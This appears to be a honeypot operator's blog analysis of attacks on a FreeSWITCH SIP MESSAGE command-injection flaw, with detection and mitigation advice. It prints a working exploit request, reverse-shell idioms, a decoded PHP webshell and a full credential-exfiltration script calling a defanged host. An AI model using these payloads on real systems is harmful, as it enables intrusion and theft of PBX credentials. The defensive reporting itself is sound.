Blog · · HoneyLabs
FreeSWITCH runs shell commands sent in a SIP message's To header
CISA added the FreeSWITCH SIP MESSAGE code injection to its exploited list on 9 November with a three-day deadline. 32 addresses sent 1,169 of these messages over the 14 days to 29 November, four in five of them reaching for a shell. The payloads are miners, reverse shells, a FusionPBX webshell, and one script that would tar up the PBX configuration if its sender had picked a command FreeSWITCH ha
A FreeSWITCH older than 1.11.3 will run a shell command that a stranger puts in the To header of a SIP text message, with no call set up. 32 addresses sent 1,169 such messages to an internet-facing address that answers SIP, over the 14 complete days to 29 November 2026.
None of the senders authenticated first, so each was betting on a box that does not ask: a FusionPBX or plain FreeSWITCH on 1.11.2 or older, a profile on 5060 or 5080, and either a build older than 1.10.7 or the stock directory's passwordless user still in place. All of it is unsolicited traffic, a population of senders and payloads and not a count of exposed servers.
Here is a request from the last day of the window, to port 5080, trimmed to fit: the target address redacted, the sender's defanged, and the request-URI cut where it repeats the To header.
MESSAGE sip:api+system%20wget%20-q%20-O%20%2Ftmp%2Fw.sh[...]@<target-ip> SIP/2.0
Via: SIP/2.0/TCP 64[.]89[.]163[.]223:35547;branch=z9hG4bK0c953543
Max-Forwards: 70
From: "fs" <sip:freeswitch@64[.]89[.]163[.]223:35547>;tag=0c953543
To: <sip:api+system%20wget%20-q%20-O%20%2Ftmp%2Fw.sh%20http%3A%2F%2F
64[.]89[.]163[.]223%3A443%2Fwhoami.sh%3Bsh%20%2Ftmp%2Fw.sh@<target-ip>>
Call-ID: dbd0b95224364c0ab356a4328d839f7c@fs
CSeq: 1 MESSAGE
Contact: <sip:freeswitch@64[.]89[.]163[.]223:35547;transport=tcp>
User-Agent: fs-116779
Content-Type: text/plain
Content-Length: 0
Percent-decoded, the To user reads api+system wget -q -O /tmp/w.sh [http]://64[.]89[.]163[.]223:443/whoami.sh;sh /tmp/w.sh. The text before the
plus sign picks a handler, system is the API command that handler runs, and
the rest goes to the shell. The message body is empty.
The advisory
FreeSWITCH published GHSA-mg63-h38w-8p9p on 28 October 2026, rated critical at CVSS 9.8, and CISA added it to the Known Exploited Vulnerabilities catalog as CVE-2026-116779 on 9 November, with a remediation deadline three days later. CISA's entry describes a flaw that "permits configuration and credential disclosure, arbitrary call control, and command execution". Command execution is most of the traffic below, and one sender went after the credentials.
The advisory traces it to sofia_presence_handle_sip_i_message(), which
"splits the To user of an inbound SIP MESSAGE on + and treats the left half
as a chat proto name". The message goes to whichever registered chat interface
matches, and one of the interfaces mod_dptools registers answers to api:
it hands the right-hand half to switch_api_execute(). Whatever follows the
plus sign runs as a FreeSWITCH API command, and system is the one that
shells out. Nothing in the path restricts the name: "message-delivery protos
are not distinguished from command-execution protos."
No unusual configuration is needed. Chat is on unless a profile sets
enable-chat=false, the stock vanilla config leaves it on for the internal
and external profiles, and the inbound ACL does not cover MESSAGE, so
tightening the ACL takes no profile out of scope. MESSAGE authentication has
been on by default since 1.10.7, which prices entry at one registerable
account, and a vanilla directory still ships a user with no password.
The senders
23 of the 32 addresses put a tool name in the SIP User-Agent and the other
nine sent none. It is a usable log-side marker for those 23, with the caveat
that 5 of them also sent requests carrying no User-Agent at all. Eight sent
SIP2Shell/0.1.0, the default string of a proof of concept published for this
CVE, from seven networks in five countries, and one sent SIP2Shell/0.6.0.
| User-Agent | Addresses sending it |
|---|---|
| SIP2Shell/0.1.0 | 8 |
| fsq | 2 |
| omp-cve-2026-116779 | 2 |
| p | 2 |
| probe | 2 |
Nine further strings appear once each: SIP2Shell/0.6.0, atomic/1.0,
fs-116779, fs-cve-2026-116779-exec/1.0, fscve, fspwn, fssipmass,
sip2shell-cve-proof, and a desktop browser string, which is an odd thing to
put in a SIP header.
The From user is a second marker. The nine addresses carrying a SIP2Shell
version string all send From: <sip:s2s@...> and eight of them open with
OPTIONS sip:sip2shell@<target-ip> before the MESSAGE. The rest put poc,
probe, fsverify or 1000 there.
Before anything heavier, 20 addresses asked for api+version or api+status
and read the reply, using a command-execution bug as a version check. Five of
them stopped there.
At least one address arrived on each of the 14 days, between one and eight a day. Volume says less, because one operator sent 696 of the 1,169 messages inside 54 hours at the end of the window.
After the probe
25 addresses sent a system command and 21 of them named a host for the
machine to fetch from. Their second stages take five shapes:
- A miner, or at least a path named for one:
[http]://64[.]178[.]113[.]197:666/xmrigCCall/MySvcice.sh, fetched three ways by one address withwget,busybox wgetandcurl. We did not retrieve the file, so the name is all we have. - Three reverse-shell idioms from a single address, all pointed at port 4444
on itself: a
mkfifoandncpair,bash -i >& /dev/tcp/.../4444, and thepython3 -c 'import socket,subprocess,os'one-liner, on the reasoning that one of bash, nc and python3 will be installed. - A webshell written into the FusionPBX web root.
echo PD9waHAg...|base64 -d>/var/www/fusionpbx/sx.phpdecodes to<?php $o=@shell_exec(base64_decode($_GET[chr(99)]));echo $o;?>, so the parameter it reads isc, written aschr(99). - An environment block for an open-source monitoring agent,
NZ_SERVER,NZ_TLS,NZ_CLIENT_SECRETandNZ_UUID, piped into bash frompaste[.]rs. The agent is legitimate software whose server end holds a shell on every host that reports to it. - A shell script served under an image filename,
banner_avp_800x800.jpg, from three unrelated Amazon S3 buckets, piped intosh. One address sent 39 of these, each wrapped inecho S<hex>andecho E<hex>markers that let the operator find its own output in a noisy reply.
29 hosts appear across those URLs, and eight of them are public services:
webhook[.]site, paste[.]rs, ntfy[.]sh, files[.]catbox[.]moe, a GitHub
gist and three S3 buckets. Blocking the sender's address touches none of those
eight; an egress rule does.
The configuration collector
One address, sending User-Agent: fspwn, put a 3,397-byte request on the wire
that collects exactly the configuration and credentials CISA's entry mentions.
Its To user is api+bash -c "echo <1,460 characters of base64> | base64 -d | bash", and the base64 decodes to the script below. The address is defanged
here, so re-encoding what is printed will not give back those 1,460
characters.
#!/bin/bash
set -u
O=/tmp/.fsp$$
mkdir -p $O 2>/dev/null
for d in /etc/freeswitch /usr/local/freeswitch/conf /usr/local/etc/freeswitch /opt/freeswitch/conf; do
[ -d "$d" ] && cp -a "$d" "$O/c_$(echo $d|tr / _)" 2>/dev/null
done
for f in /etc/fusionpbx/config.conf /etc/freeswitch/vars.xml /usr/local/freeswitch/conf/vars.xml; do
[ -f "$f" ] && cp -a "$f" "$O/x_$(basename $f)" 2>/dev/null
done
id > $O/id.txt 2>&1; hostname > $O/host.txt 2>&1; uname -a > $O/uname.txt 2>&1
if command -v fs_cli >/dev/null 2>&1; then
fs_cli -x version > $O/ver.txt 2>&1
fs_cli -x "sofia status" > $O/sofia.txt 2>&1
fs_cli -x "show registrations" > $O/regs.txt 2>&1
fs_cli -x "xml_locate configuration directory" > $O/xml_dir.txt 2>&1
fs_cli -x "xml_locate configuration vars" > $O/xml_vars.txt 2>&1
fi
tar czf $O.tgz -C $O . 2>/dev/null
base64 -w 700 $O.tgz > $O.b64 2>/dev/null || { base64 $O.tgz | tr -d '\n' | fold -w 700 > $O.b64; }
exec 3<>/dev/tcp/172[.]245[.]135[.]46/41012 || exit 1
while IFS= read -r l; do printf '%s\n' "$l" >&3; done < $O.b64
printf 'END\n' >&3
sleep 1
rm -rf $O $O.tgz $O.b64
show registrations is every extension and where it is registered, and
xml_locate configuration vars resolves vars.xml, which holds the default
password and the SIP credentials the dialplan uses. The archive goes out in
700-character base64 lines over a raw /dev/tcp socket on port 41012, and the
staging directory is deleted before the script exits.
The route it chose does not exist. bash is not a FreeSWITCH API command,
system and bg_system being the ones that shell out, so on a stock build
switch_api_execute() finds nothing to call. The script is the operator's
intent and not a result.
The partial workaround
The advisory lists disable_system_api_commands=true as a partial step and
says plainly that it "removes the system API but not the route". Five of the
32 addresses asked for an API command other than system, version or
status. Three of those five also sent system at other moments and are
inside the 25 above rather than extra to it.
Two of the five are past the switch. One asked for
lua os.execute("curl -fsS [http]://103[.]47[.]145[.]63:9099/derived-lua-live"),
reaching the standard Lua library wherever mod_lua is loaded, and the stock
configuration loads it. The other asked for originate null/ &system('touch /tmp/.fs_probe_...'), where system is the dialplan application of that name
and the API-level switch leaves it alone. Plan for those two: a server with
the system API removed and chat still on keeps lua and originate.
The remaining three asked for php -r twice and the bash -c above. None of
those three names is registered, which makes them blind spraying.
The fix that closes the route is 1.11.3, where a new per-profile
enable-chat-api-proto parameter "is off unless explicitly set", and a MESSAGE
that asks for the proto anyway is answered 403 and logged with the source and
the requested command. Until you can install it, the workaround that stops the
parse is enable-chat=false on every profile with no need for inbound SIP
chat.
Checking your profiles
Three commands on the box settle it, and none of them needs a packet:
fs_cli -x version # 1.11.2 or older is affected
grep -rn 'enable-chat' /etc/freeswitch/sip_profiles/ # absent means on
grep -rn 'enable-chat-api-proto' /etc/freeswitch/sip_profiles/
grep -L 'password\|a1-hash' /etc/freeswitch/directory/default/*.xml
The first line says whether you are in range, the next two whether chat and
the new parameter are set per profile, and the last names any directory file
defining a user with neither a password nor an a1-hash. From outside, the
probe is the senders' own first move, MESSAGE sip:api+version@host, read for
its status code: 403 is what 1.11.3 answers with the parameter off, 401 or 407
means the profile demands authentication, and a 2xx means it took the message
and dispatched the name in front of the plus. The body will not hold the build
string, since a chat reply goes back as a new request to the From URI.
For a log or a sensor, alert on a To user that begins with a chat proto name
and a plus sign, which in practice means api+, matched without regard to
case. A plus sign anywhere is no good: E.164 numbers are written
sip:+14155551212@host and are routine on these boxes, and a leading plus
leaves an empty name that matches no interface. The User-Agent strings above
and the OPTIONS sip:sip2shell@ probe are each enough on their own, and
/cves/CVE-2026-116779 lists the addresses from the
last seven days, as do /port/5060 and
/port/5080.
Two things the counts cannot carry. The messages arrived on 5060, 5061, 5070, 5080, 5081 and once on 8021, and the ports a honeypot answers on are its own choice, so that spread says nothing about where real profiles sit. The second stages exist because something answered: a server that stays quiet sees the first MESSAGE and nothing after it. A 33rd address sent the same To header with bare LF line endings and was never parsed, so write any detection against the bytes instead of a parsed field.